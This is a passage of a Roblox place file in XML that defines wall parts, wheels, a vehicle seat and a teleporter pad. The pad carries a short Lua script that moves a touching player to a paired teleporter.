					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>32</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1796">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>195</X>
					<Y>1.60000002</Y>
					<Z>-126</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>52</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1797">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>171</X>
					<Y>1.60000002</Y>
					<Z>-151</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>46</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1798">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>149</X>
					<Y>1.60000002</Y>
					<Z>-102.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>95</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1799">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>249</X>
					<Y>1.60000002</Y>
					<Z>-93</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>64</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1800">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>232.5</X>
					<Y>1.60000002</Y>
					<Z>-126</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>35</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1801">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>214</X>
					<Y>1.60000002</Y>
					<Z>-148.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>47</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1802">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>212</X>
					<Y>0.600000024</Y>
					<Z>18</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">teleporter1g</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>0.400000006</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX1803">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">--[[
INSTRUCTIONS: Place both teleporter1a and teleporter1b in the same directory
(e.g. both in workspace directly, or both directly in the same group or model)
Otherwise it wont work. Once youve done that, jump on the teleporter to teleport to the other.
If you want more than one set of teleporters I will be adding more types in the future.

Send me requests and ideas - miked.
--]]


--Enter the name of the model you want to go to here.
------------------------------------
modelname=&quot;teleporter1f&quot;
------------------------------------

function onTouched(part)
	if part.Parent ~= nil then
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
		if h~=nil then
			local teleportfrom=script.Parent.Enabled.Value
			if teleportfrom~=0 then
				if h==humanoid then
				return
				end
				local teleportto=script.Parent.Parent:findFirstChild(modelname)
				if teleportto~=nil then
					local torso = h.Parent.Torso
					local location = {teleportto.Position}
					local i = 1

					local x = location[i].x
					local y = location[i].y
					local z = location[i].z
				
					x = x + math.random(-1, 1)
					z = z + math.random(-1, 1)
					y = y + math.random(2, 3)

					local cf = torso.CFrame
					local lx = 0
					local ly = y
					local lz = 0
					
					script.Parent.Enabled.Value=0
					teleportto.Enabled.Value=0
					torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
					wait(.1)
					script.Parent.Enabled.Value=1
					teleportto.Enabled.Value=1
				else
					print(&quot;Could not find teleporter!&quot;)
				end
			end
		end
	end
end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX1804">
				<Properties>
					<string name="Name">Enabled</string>
					<int name="Value">1</int>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1805">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>225.5</X>
					<Y>1.60000002</Y>
					<Z>22</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>51</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1806">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>218</X>
					<Y>1.60000002</Y>
					<Z>-62</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>60</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1807">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>219.993179</X>
					<Y>1.39919043</Y>
					<Z>-41.0235863</Z>
					<R00>-0.999806285</R00>
					<R01>-0.0144085679</R01>
					<R02>-0.0134091647</R02>
					<R10>-0.00790438522</R10>
					<R11>0.917835891</R11>
					<R12>-0.396881312</R12>
					<R20>0.0180259049</R20>
					<R21>-0.396698445</R21>
					<R22>-0.917771995</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-6.31262493</X>
					<Y>21.3325062</Y>
					<Z>-1.07544982</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-3.67629361</X>
					<Y>7.10053301</Y>
					<Z>-15.5479126</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1808">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">41wty9r</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1809">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>232.001129</X>
					<Y>1.40436351</Y>
					<Z>-41.0205078</Z>
					<R00>-0.999781549</R00>
					<R01>0.02015022</R01>
					<R02>-0.00554340892</R02>
					<R10>-0.0156396013</R10>
					<R11>-0.545443058</R11>
					<R12>0.838001847</R12>
					<R20>0.0138623081</R20>
					<R21>0.837905526</R21>
					<R22>0.545639157</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-4.04351044</X>
					<Y>-5.33461237</Y>
					<Z>6.93792915</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>33.7597809</X>
					<Y>-6.51486158</Y>
					<Z>-20.1143456</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1810">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">41wty9r</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="VehicleSeat" referent="RBX1811">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">208</int>
				<CoordinateFrame name="CFrame">
					<X>245</X>
					<Y>3</Y>
					<Z>-22</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">22</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00118217827</X>
					<Y>0.00220030732</Y>
					<Z>-0.00017520129</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">10</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0.0143022183</X>
					<Y>0.00162590353</Y>
					<Z>0.00486407615</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1812">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1813">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>231.958969</X>
					<Y>1.39957941</Y>
					<Z>-34.9705009</Z>
					<R00>-0.99983716</R00>
					<R01>0.00908539351</R01>
					<R02>0.015596156</R02>
					<R10>-0.00463509886</R10>
					<R11>0.705858469</R11>
					<R12>-0.708337784</R12>
					<R20>-0.0174442064</R20>
					<R21>-0.70829463</R21>
					<R22>-0.70570147</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
